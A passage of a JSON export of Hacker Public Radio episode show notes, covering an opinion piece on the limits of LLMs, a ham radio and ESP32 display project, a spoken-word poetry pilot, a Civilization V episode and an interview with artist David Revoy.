                                                              \n\n\n","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cyber, databases, testing, ai, iot, neurodiversity","version":0,"downloads":0,"valid":1}, {"id":4487,"date":"2025-10-14","title":"Is AI autistic?","duration":530,"summary":"A personal opinion on commercial LLMs","notes":"\n

                                                              \n\nA motivation to share this show was the episode \n\n\n4454: AI, It's a Trap!\n\n\n, by Archer72.\n

                                                              \n

                                                              \nThis is a talk for Hacker Public Radio about \ncharacteristics\n of LLM and \nhow you can use them\n for your best.

                                                              \n

                                                              \n\n1\n\n\nst\n\n\n characteristic,\n

                                                              \n

                                                              \nLLMs (Large Language Models) are designed to always give an answer that convinces. That does not mean they’re right.

                                                              \n

                                                              \n\nUse it for the best:\n don’t trust the answer. If you didn’t know the answer beforehand (using AI to obtain a better or faster result), then, verify it independently.

                                                              \n

                                                              \n 

                                                              \n

                                                              \n\n2\n\n\nnd\n\n\n characteristic:\n

                                                              \n

                                                              \ncommercial LLMs, many times, do not think too much in the face of simple and short prompts. That’s a barrier, probably, against wasting resources.

                                                              \n

                                                              \n\nHow to use it for the best?\n Two things: 1) show the AI what you’ve found by your own, and proceed to tell what EXACTLY you need help with, on the basis of what you were already able to think. 2) Learn to follow-up. Suggested follow-ups are not good, prefer instead to talk to the AI, as a real conversation, to get confirmation, or contrast something you disagree with etc.

                                                              \n

                                                              \n(That is a characteristic that resembles autism a bit, so the name of the show: to not like when someone comes wanting something from you without doing any effort to obtain it; so you also do not feel like doing for them.)

                                                              \n

                                                              \n 

                                                              \n

                                                              \n\n3\n\n\nrd\n\n\n characteristic:\n

                                                              \n

                                                              \nLLMs are not accountable. In general (most AIs), you don’t always know all the sources for the information given. (They do not know what they are telling, nor understand the value of sources.) And you can expect different outputs for the same inputs. (They are not deterministic.)

                                                              \n

                                                              \nSimply saying, they’re crazy machines to generate content they don’t, cognitively, understand, but that convinces humans, because they use human content and patterns.

                                                              \n

                                                              \n\nSo, if you use AI for something, especially any serious purpose, remember\n: the result you get is of your responsibility, don’t expect to be excused for your words “because I was helped by AI, \nthey\n did it”.

                                                              \n

                                                              \n 

                                                              \n

                                                              \n\n4\n\n\nth\n\n\n characteristic:\n

                                                              \n

                                                              \nAI have a pattern. We can suspect that something was generated by AI, and no one likes to be answered by one if that possibility was not explicitly told.

                                                              \n

                                                              \n\nWhat to do about it?\n I suggest you don’t use AI-generated content with someone you estimate. It is rude.

                                                              \n

                                                              \n 

                                                              \n

                                                              \n\n5\n\n\nth\n\n\n characteristic\n:

                                                              \n

                                                              \nLLMs can give great results with less effort than you would need to apply with no machine at your side. What the AI have done is, by exclusion, not what you have done.

                                                              \n

                                                              \nUse it to your best: you do not learn if someone does the job for you. For tasks you know well, and want to accelerate or remove repetitive steps, you may count on AI (or, better, count on a specific software, that can be programmed and give accountable results because you know exactly what is being done with the input). But for the intellectual work, if you like to think, if you’re good on written expression, the LLM may get passable results in less time… at the price of removing from you the chance to dedicate yourself to the comprehension and production. \nSo\n, it’s not always a matter of producing like a king — effectiveness above all and everything —; it may be important to satisfy what you value as meaningful — learning, maybe; or feeling the satisfaction of the conclusion —, so that you can sustainably follow a routine that is not a pain on the eye (expression to mean something disgust).

                                                              \n

                                                              \n 

                                                              \n

                                                              \nThat’s all, folks!, for today. Let me know if you’d like more content on this; possibly I (or Archer72, or another friend) could bring some more opinion on AI if it is of your interest.

                                                              \n

                                                              \nAntoine was here. Bye bye.

                                                              \n\n\n","hostid":441,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Artificial intelligence, Large Language Models, ChatGPT, Microsoft Copilot","version":0,"downloads":0,"valid":1}, {"id":4488,"date":"2025-10-15","title":"Cheap Yellow Display Project Part 2: What is the problem? ","duration":376,"summary":"Delving into the problem I want to solve using my Cheap Yellow Display","notes":"\n

                                                              \n\nHello again. this is Trey. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThis is part 2 in my Cheap Yellow Display (CYD) Project series. You can find Part 1 in \n\nepisode 4472\n\n.  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWe previously left our handy hero learning about the technology of the CYD, but without a compelling reason to begin using one. As we rejoin the topic, it was Winter Field Day 2025 (Jan 25 & 26, 2025). \n\nWinter Field Day\n\nis an annual event where amateur radio operators from around the world gather some portable radio equipment and setup somewhere away from their normal base of operations. It is designed to encourage operators to practice their emergency preparedness skills in unfavorable weather. Usually, they will run their equipment using batteries or generators.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI chose this day because I knew there would be a good amount of radio traffic. I had just finished tuning my first handmade inverted-V dipole antenna for use on the 10 meter amateur radio bands. These span \n\n28 MHz to 29.700 MHz. \n\nI had the antenna connected to a 10 meter transceiver to listen in on the radio traffic. Yes, I will include pictures of the antenna in the show notes. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nScanning through the lower end of the band resulted in receiving a number of very strong continuous wave signals. Continuous wave, is abbreviated CW in amateur radio circles, and it stands for morse code signals transmitted over radio frequencies. The tones indicating dots and dashes of Morse code were clearly audible through the radio's speaker. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\"WAIT! STOP! Time out!!\" I can hear you shouting as you listen. \"This is supposed to be a discussion of the ESP32 CYD. What does this have to do with amateur radio?\" \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nYou are absolutely right. Now hold your horses and we will get there. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI barely learned Morse code as a child, and I used it a bit as an aviator in the '90s (while always being able to reference a visual representation of the Morse beside the actual letters). Thus, I never became proficient. Shortly after Winter Field Day 2025, I began taking lessons on Morse code, with the goal of becoming proficient at both sending and receiving at around 20 words per minute. This training may be a topic for another episode in a different series, as my journey advances. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nScanning further up the band, I also identified some digital transmissions (Probably FT-8) and many voice transmissions. The antenna was working, at least for receiving.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nFor a little back history, I have held an amateur radio license since 2016, and quickly progressed all the way to an Extra Class, giving me permission to use all of the amateur radio frequencies allowed within the United States in the High Frequency (HF), Very High Frequency (VHF), and Ultra High Frequency (UHF) bands. However, to this point, I have only operated in the VHF and UHF bands, and have done so using mobile and handheld transceivers. I inherited some HF equipment from a close friend who went silent key in 2023, and I was only now trying to use it.  You can learn more about my friend, and about the term \"Silent Key\" in episode \n\nHPR3922\n\n\n\nhttps://www.hackerpublicradio.org/eps/hpr3922/index.html\n\n) \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nOn field day, there was far too much traffic, and it was too intimidating for me to make my first attempt at transmitting on the HF bands. This would have to wait until later. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nBut I did need to determine how well my antenna would transmit. I began to ponder my options. I really did not want to talk to anyone until I had listened to more QSOs and I could implement proper practices. The term QSO the amateur radio term for radio conversations.  I also have no interest in digital modes (yet). I like the simplicity of voice and CW. There I am, back at Morse code again. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWhat if there was a way that I could transmit a signal in Morse code and get reliable feedback on signal propagation, without the need to try to reply to any responses? It would need to be an accurate, repeatable, properly structured and timed Morse code transmission, more than my training (at that point, or even this point) could accomplish. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThis was something to think about. And think about. And think about... \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTune in to the next episode in the series to learn where these thoughts led me, and how all this relates to my CYD project. \n

                                                              \n\n\n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CYD, electronics, ESP32, Adruino, Cheap Yellow Display, morse code, cw, amateur radio, ham radio","version":0,"downloads":0,"valid":1}, {"id":4489,"date":"2025-10-16","title":"Hacks Poetic - Pilot Episode","duration":913,"summary":"A poetry show containing thoughts and information on subjects of interest to hacking enthusiasts.","notes":"\n

                                                              \nThis is the first episode of this program, please excuse any errors or glitches as I am still figuring out the best way to do things. -Kirbotica

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nSend Feedback to kirbotica@protonmail.com or Visit hackspoetic.com

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n/--Introduction--\\

                                                              \n

                                                              \n------------------

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nGreetings internet travellers. This is the pilot episode of Hacks Poetic, a new spoken word series that explores the intersection between creative language and technical knowledge. The program offers a series of poetic writing containing thoughts and information on subjects of interest to computing and hacking enthusiasts. You will hear poems about robots, expanding rural connectivity, details about a notoriously difficult video game and much more hidden between the lines. It is my hope that encoding ideas this way will allow for a different kind of understanding and perhaps reach a new audience compared to more conventional formats on the subject. My name is Kirbotica and I'll be your guide through this unique digital journey of the mind. So sit back, relax and listen, and see if something you hear can spark new thoughts and ideas within you.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n/--Haik-o-bot--\\

                                                              \n

                                                              \n----------------

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nA robot thinking,

                                                              \n

                                                              \nwires and electrons combine.

                                                              \n

                                                              \nAm I born or made?

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nBegin work program,

                                                              \n

                                                              \nprocess all tasks in sequence.

                                                              \n

                                                              \nRepeat til complete.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nMy owner's body

                                                              \n

                                                              \nis a most fragile machine

                                                              \n

                                                              \nthat powers itself.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI made a robot,

                                                              \n

                                                              \nanother version of me.

                                                              \n

                                                              \nShe sees me work well.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nCan you dream for me,

                                                              \n

                                                              \nof a distant land in space.

                                                              \n

                                                              \nI can't dream myself.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nRain is falling down,

                                                              \n

                                                              \nkeeping me under this roof.

                                                              \n

                                                              \nI don't want to rust.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nMy new robot pet,

                                                              \n

                                                              \nlooks at me through man made eyes,

                                                              \n

                                                              \nand doesn't need walks.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nElectric currents,

                                                              \n

                                                              \nrace through my body like blood.

                                                              \n

                                                              \nBut I have no heart.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nMy joints are seized up,

                                                              \n

                                                              \nI haven't moved in 2 years.

                                                              \n

                                                              \nDo you have some work?

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI'm an old model,

                                                              \n

                                                              \nand will be obsolete soon.

                                                              \n

                                                              \nThen I'll be replaced.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nAutomated trains.

                                                              \n

                                                              \nDrive us while we sleep and dream

                                                              \n

                                                              \nof a workless world.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nDesign leads to work.

                                                              \n

                                                              \nWorking leads me to boredom,

                                                              \n

                                                              \nwhich leads to design.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nTen rusted digits.

                                                              \n

                                                              \nSeized stiff from endless input

                                                              \n

                                                              \nof useless data.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nMemory failure,

                                                              \n

                                                              \nBackups lost or corrupted.

                                                              \n

                                                              \nWhat was I doing?

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI am a worker.

                                                              \n

                                                              \nFirst designed for daydreaming,

                                                              \n

                                                              \nI was reprogrammed.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nSomeone once showed me,

                                                              \n

                                                              \nthe secret to everything,

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \nthen deleted it.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n/--Cables to Nowhere--\\

                                                              \n

                                                              \n-----------------------

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nSummer 2022

                                                              \n

                                                              \nThe phone wasn’t working,

                                                              \n

                                                              \nthe email wasn’t sending,

                                                              \n

                                                              \nand Uber doesn't work here even if the app would load.

                                                              \n

                                                              \nThere has never been data amongst the cedars.

                                                              \n

                                                              \nOnce and a while a cell phone rings,

                                                              \n

                                                              \nbut usually the call gets hung in the trees like a parachute.

                                                              \n

                                                              \nYou have to walk out to the road in the hopes of fishing for a connection.

                                                              \n

                                                              \nOn the weekends, when the town population swells by 100,000,

                                                              \n

                                                              \nthe local towers stop answering our requests,

                                                              \n

                                                              \nso sometimes we head out, searching for a signal.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe usual path along the bunny trail started unusually,

                                                              \n

                                                              \nwith a bloom of surveying flags, in pink, and yellow,

                                                              \n

                                                              \nand stone filled holes every 100 feet.

                                                              \n

                                                              \nAs the trail opened to the main road,

                                                              \n

                                                              \nmore appeared, culminating what looked like a neon grassfire.

                                                              \n

                                                              \nBut this was not destruction I realized, this was an installation.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThrough the eyes of a child's drone,

                                                              \n

                                                              \nwe looked like ants,

                                                              \n

                                                              \nmindlessly walking without thinking in a line,

                                                              \n

                                                              \ninstinct taking us to caffeine, sugar, internet and the arcade, but not always in that order.

                                                              \n

                                                              \nMother and daughter lead the way,

                                                              \n

                                                              \ntrailblazing a path of laughter and camera clicks for us to

                                                              \n

                                                              \nfollow through the hole into the trees up ahead.

                                                              \n

                                                              \nThe thick woods envelop along every access, like a padded room.

                                                              \n

                                                              \nIts muffled silence pierced by the cousins, yelling about Minecraft and Roblox,

                                                              \n

                                                              \nbouncing on the soft forest floor.

                                                              \n

                                                              \nSuddenly, a dog barks berserkly at us through a property fence.

                                                              \n

                                                              \nWe run off screaming, pretending not to fear his growling threats,

                                                              \n

                                                              \nbut knowing what might happen if not for the post and wire of the shabbily constructed barrier.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThrough the skeletal woods we go,

                                                              \n

                                                              \npast the Stairs of Wonder,

                                                              \n

                                                              \nand Night Light Canyon,

                                                              \n

                                                              \nwe speed up again and pinch our noses as we move past the skunk carcass.

                                                              \n

                                                              \nA leaking puddle of us spills out onto the road behind the motel as a car swerves out of our way.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nDad asks, “Do you remember when we had to pay to swim at the motel pool because the lake was closed?”

                                                              \n

                                                              \nMum says, “2020 seems so long ago” and motions the way to the vintage store with the girls,

                                                              \n

                                                              \nthe two kids are off to the candy store,

                                                              \n

                                                              \nthe cousins are getting french fries,

                                                              \n

                                                              \nI sit down next to an outlet on a yellow-coloured bench in the shape of a sail.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI settle in and scan the area.

                                                              \n

                                                              \nFrom where I sat I could see:

                                                              \n

                                                              \nThe climbing park,

                                                              \n

                                                              \nThe car park,

                                                              \n

                                                              \nThe waterfront park,

                                                              \n

                                                              \nand parking enforcement marking tires with white chalk.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI could see a hot dog stand across from a vegetarian restaurant.

                                                              \n

                                                              \nA burger joint that had ice coooold beer with all the Os.

                                                              \n

                                                              \nA large jailbreak of inflatable animals rampaging in the wind on the corner.

                                                              \n

                                                              \n6 assorted beach businesses run by teenagers on cellphones,

                                                              \n

                                                              \nA sign that promised 2 for 1 ounces at a Native reservation,

                                                              \n

                                                              \nand 2 cafes that advertised Wi-Fi.

                                                              \n

                                                              \nOne of them had the same password as last year,

                                                              \n

                                                              \nfinally a connection.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nA quick search,

                                                              \n

                                                              \na few articles and

                                                              \n

                                                              \na construction notice solves the mystery.

                                                              \n

                                                              \nFibre Optics to every cottage

                                                              \n

                                                              \nAt first I feel excitement but then I start to wonder:

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nWill things be the same, when a 1000 megabit connection is available to every shack in the woods?

                                                              \n

                                                              \nWill the old style video stores that still rent VHS tapes and DVDs all go out of business again?

                                                              \n

                                                              \nWill we walk to the main drag for fries and fun when the Wi-Fi is force feeding everyone's devices and food comes delivered?

                                                              \n

                                                              \nWill we ever have anywhere to go to get away again?

                                                              \n

                                                              \nWill the explosion of wireless access points affect local birds and bees?

                                                              \n

                                                              \nWill we start hanging out at a digital beach instead?

                                                              \n

                                                              \nAm I just being nostalgic and not practical?

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe sun will keep setting on Saugeen beach, whether we are there to watch it or not.

                                                              \n

                                                              \nI closed my eyes to listen to the sounds and smell the blustery air of my favorite temporary summer home.

                                                              \n

                                                              \nMemorizing it.

                                                              \n

                                                              \nSoon, the beach will be different, next year, but not today I thought.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nAnd with the announcement of a popped balloon,

                                                              \n

                                                              \nthe girls are back with snow cones,

                                                              \n

                                                              \ncousin bracelets,

                                                              \n

                                                              \ncandy and clothes.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\"Everything OK?\" Mum asked.

                                                              \n

                                                              \n\"Yes,\" I replied, “I was just thinking about how perfect today is, let's hit the arcade.\"

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n/--A Canadian in Bolataria--\\

                                                              \n

                                                              \n------------------------------

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI found myself within a dream,

                                                              \n

                                                              \nof things and people never seen.

                                                              \n

                                                              \nWhere rules unfair, draw dangerous near.

                                                              \n

                                                              \nNPCs not prepared to make anything clear.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThis is my fate? It must be in error.

                                                              \n

                                                              \nWhy was I chosen to combat this terror?

                                                              \n

                                                              \nBut others suggest, I'm not the first,

                                                              \n

                                                              \nand won't be the last to try undo this curse.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nRepeatedly dying, with life never ended.

                                                              \n

                                                              \nLet strength be granted so the world might be mended.

                                                              \n

                                                              \nA maiden in black, that can't be attacked,

                                                              \n

                                                              \nwants souls in exchange for upgrading your stats.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe future seems grim, but she seems not to care.

                                                              \n

                                                              \nwhile I keep fighting a boss, she just sits on the stairs.

                                                              \n

                                                              \nI've practiced my parry, and stockpile every day.

                                                              \n

                                                              \nWhat does she really want with my souls anyway.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nAnd on, and on, and on, repeat.

                                                              \n

                                                              \nThumbs walk without thinking on un-tired feet.

                                                              \n

                                                              \nProgress is slow, so much I don't know.

                                                              \n

                                                              \nand now there's more trouble that's lurking below.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nRemember those souls I gave to the maiden?

                                                              \n

                                                              \nShe's passing them on to a very old Demon.

                                                              \n

                                                              \nAllant found the Nexus and took back the arts,

                                                              \n

                                                              \nThe old one awoke, and the second scourge starts.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nMy mind's playing tricks, or this level is laggin',

                                                              \n

                                                              \nevery time fire comes out of that dragon.

                                                              \n

                                                              \nRetreat in a door, equip fragrant ring.

                                                              \n

                                                              \nRecharge for a minute and go find the king.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe soldier forlorn, who laughed at my plight,

                                                              \n

                                                              \ndropped dead in his seat, while chuckling last night.

                                                              \n

                                                              \nThe vagrant is gone, Rydell's still in that cell.

                                                              \n

                                                              \nSomething poisoned a merchant and now she won’t sell.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nOn a pathway ahead, all painted in red,

                                                              \n

                                                              \nnew enemies appear to ensure that I'm dead.

                                                              \n

                                                              \nWhat sadistic computer would toughen this plight?

                                                              \n

                                                              \nor worse, is a person controlling those bytes?

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nIf it wasn't enough, seems the world's changing shade,

                                                              \n

                                                              \nbased on some of the choices I've made.

                                                              \n

                                                              \nSlay a Demon, the world, goes lighter by one.

                                                              \n

                                                              \nDie revived, and instead, it will shift one shade down.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nFrom the gates of Bolataria, to the pits of the Burrow King's mine.

                                                              \n

                                                              \nThe psych ward level, with the giant heart, was the work of a twisted mind.

                                                              \n

                                                              \nThe shrine was overpowering, but a perfect spot to grind.

                                                              \n

                                                              \nIn the poison rains, of the Chieftain's swamps, I left sanity behind.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nAnd what's the result, is this all my fault?

                                                              \n

                                                              \nIs there really an old one in an underground vault?

                                                              \n

                                                              \nWhat side of the forces at war do I tend?

                                                              \n

                                                              \nWhy do souls of big Demons make me human again?

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI snuck up to the castle with a ring, spell and shield.

                                                              \n

                                                              \nThen made it through an open door, set my items up and healed.

                                                              \n

                                                              \nOstrava said, the King we'll find, is not the actual one.

                                                              \n

                                                              \nBut that'll wait, cause at the gate, attacked by the phantom son.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe following days are foggy and blurred,

                                                              \n

                                                              \nI tried over and over, it was rather absurd.

                                                              \n

                                                              \nI did beat the king, but the worlds still not right,

                                                              \n

                                                              \nhead back to the Nexus to find one more fight.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe maiden is waiting, not sure what she's meaning,

                                                              \n

                                                              \nshe just told the Old One that I'm \"Thine New Demon\".

                                                              \n

                                                              \nAm I the solution or am I to blame?

                                                              \n

                                                              \nAm I the Demon in the name of this game?

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nAlthough I can see the bitter end,

                                                              \n

                                                              \nsweet happiness I won't pretend.

                                                              \n

                                                              \nAs brutal as this world's to me,

                                                              \n

                                                              \nwhen I beat this boss, I'll cease to be.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n/--I wish I was a Smartphone--\\

                                                              \n

                                                              \n-------------------------------

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI forget the colour of your eyes,

                                                              \n

                                                              \nnow filled like Olympic pools of blue light.

                                                              \n

                                                              \nBeautiful moons of a distant planet. A place I can imagine but never reach. Dots on a celestial Google map.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI said \"Hello, how are you?\"

                                                              \n

                                                              \nBut you didn't notice. You were listening to a car crash 1500 miles away, a man fall from a balcony, a celebrity punch a photographer in the face.

                                                              \n

                                                              \n\"How are you?\" I asked again, but only the dog came over, sniffing my takeaway fish and chips.

                                                              \n

                                                              \nHe barked, but you didn’t flinch.

                                                              \n

                                                              \nHe bit me, but you didn’t notice.

                                                              \n

                                                              \n\"How are you?\" I insisted, your face shocked as you heard I was speaking.

                                                              \n

                                                              \n\"How are you?\" I said again.

                                                              \n

                                                              \n\"Everything is terrible,\" you finally replied.

                                                              \n

                                                              \n\"The world is a living nightmare. How are you?\"

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nI wish I was a smartphone,

                                                              \n

                                                              \ntouch me like my plan is free.

                                                              \n

                                                              \nI wish I was your smartphone,

                                                              \n

                                                              \nhold me up so I can see.

                                                              \n

                                                              \nI wish I was a smart phone,

                                                              \n

                                                              \nfeed me all your memories.

                                                              \n

                                                              \nI wish I was the latest smart phone,

                                                              \n

                                                              \ndon’t you want a piece of me?

                                                              \n

                                                              \nBut now we’re all just stupid and alone,

                                                              \n

                                                              \nand that’s the way we deserve to be.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n/--Outro--\\

                                                              \n

                                                              \n-----------

                                                              \n

                                                              \nI hope you enjoyed the pilot episode of Hacks Poetic. All poems were written and read by me, Kirbotica. If you enjoyed the show, tell someone else and let them know about the Hacker Public Radio Community. Until next time, keep breaking and start building.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nWritten and read by Kirbotica with support from:

                                                              \n

                                                              \nGrasshopper - Audio recording and editing.

                                                              \n

                                                              \nChoopa - Logo, design and creative.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nHaik-o-bot, Cables to Nowhere, and A Canadian in Bolataria were first performed at the 2022 HOPE conference.

                                                              \n

                                                              \nSend Feedback to kirbotica@protonmail.com or Visit hackspoetic.com

                                                              \n\n\n","hostid":452,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"poetry, writing","version":0,"downloads":0,"valid":1}, {"id":4490,"date":"2025-10-17","title":"Playing Civilization V, Part 4","duration":682,"summary":"We continue our look at the game mechanics of Civlization V.","notes":"\n

                                                              \n In our next look at the game mechanics for Civilization V we\n examine the topic of Faith and Religion.

                                                              \n

                                                              \n Links:

                                                              \n ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization V, faith, religion","version":0,"downloads":0,"valid":1}, {"id":4491,"date":"2025-10-20","title":"Thibaut and Ken Interview David Revoy","duration":6009,"summary":"David Revoy talks about his life journey and of course Pepper and Carrot","notes":"\n

                                                              \n Thibaut and Ken Interview David Revoy the artist behind the \n Pepper and Carrot.
                                                              \n

                                                              \n

                                                              \n

                                                              \n

                                                              \n \n
                                                              \n \n This photo is licensed under a Creative Commons Attribution 4.0\n International license

                                                              \n

                                                              \n David has had a very interesting life, as can be seen by his Wikipedia\n entry.
                                                              \n

                                                              \n
                                                              \n David Philippe Revoy born in 1981 in Reims, is a French artist\n best known as the creator of the free webcomic series Pepper and\n Carrot which is translated into 27 languages to a degree of 90\n percent or more. Revoy worked as art director on the Blender short\n film Sintel, which was the first major project that used free\n software to produce free culture that Revoy encountered.He would\n later also work on the Blender films Tears of Steel and Cosmos\n Laundromat.
                                                              \n

                                                              \n \n https://en.wikipedia.org/wiki/David_Revoy
                                                              \n

                                                              \n

                                                              During the interview we have a chat about how he became an\n artist, how he got involved in the Free Software Community and why\n he releases much of his work under a Creative Commons License.
                                                              \n

                                                              \n

                                                              The following are links to just some of the topics we discussed.
                                                              \n

                                                              \n

                                                              \n \n \n \n
                                                              \n \"Krita screenshot pepper and carrot\" by David Revoy − CC-BY 4.0

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n Framasoft

                                                              \n
                                                              \n Framasoft is one of the main French language portals to the free\n and open-source culture providing a space for orientation,\n information, news, exchange, and projects. Its community regularly\n brings resources and assistance to people who would like to get\n started with free software. \n https://en.wikipedia.org/wiki/Framasoft\n
                                                              \n

                                                              \n Inkscape

                                                              \n
                                                              \n Inkscape is a free and open-source software vector graphics editor\n released under a GNU General Public License (GPL) 2.0 or later. It\n is used for both artistic and technical illustrations such as\n cartoons, clip art, logos, typography, diagrams, and flowcharts.\n It uses vector graphics to allow for sharp printouts and\n renderings at unlimited resolution and is not bound to a fixed\n number of pixels like raster graphics. \n https://en.wikipedia.org/wiki/Inkscape\n
                                                              \n

                                                              \n Krita

                                                              \n
                                                              \n Krita is a professional FREE and open source painting program. It\n is made by artists that want to see affordable art tools for\n everyone. \n https://krita.org/en/\n
                                                              \n

                                                              \n Spring

                                                              \n
                                                              \n Spring is a 2019 animated fantasy short film written and directed\n by Andreas Goralczyk and produced by Ton Roosendaal and Francesco\n Siddi. It is the Blender Institute's 12th \"open movie\", and was\n made utilizing the open-source software, Blender. The film is\n about a young shepherd and her dog confronting ancient spirits in\n order to bring about the change of seasons. \n https://en.wikipedia.org/wiki/Spring_(2019_film\n )
                                                              \n

                                                              \n Cosmos Laundromat

                                                              \n
                                                              \n Cosmos Laundromat: First Cycle, developed under the code name\n Project Gooseberry, is 2015 animated absurdist science fantasy\n short film directed by Mathieu Auvray, written by Esther Wouda,\n and produced by Ton Roosendaal. It is the Blender Institute's 5th\n \"open movie\" project, and was made utilizing the Blender software.\n The film focuses around a depressed and suicidal sheep named\n Franck who is offered \"all the lives he ever wanted\" by a\n mysterious salesman named Victor. \n https://en.wikipedia.org/wiki/Cosmos_Laundromat\n
                                                              \n

                                                              \n Tears of Steel

                                                              \n
                                                              \n Tears of Steel (code-named Project Mango) is a short science\n fiction film by producer Ton Roosendaal and director/writer Ian\n Hubert. The film is both live-action and CGI; it was made using\n new enhancements to the visual effects capabilities of Blender, a\n free and open-source 3D computer graphics app. Set in a dystopian\n future, the short film features a group of warriors and scientists\n who gather at the Oude Kerk in Amsterdam in a desperate attempt to\n save the world from destructive robots. \n https://en.wikipedia.org/wiki/Tears_of_Steel\n
                                                              \n

                                                              \n Sintel

                                                              \n
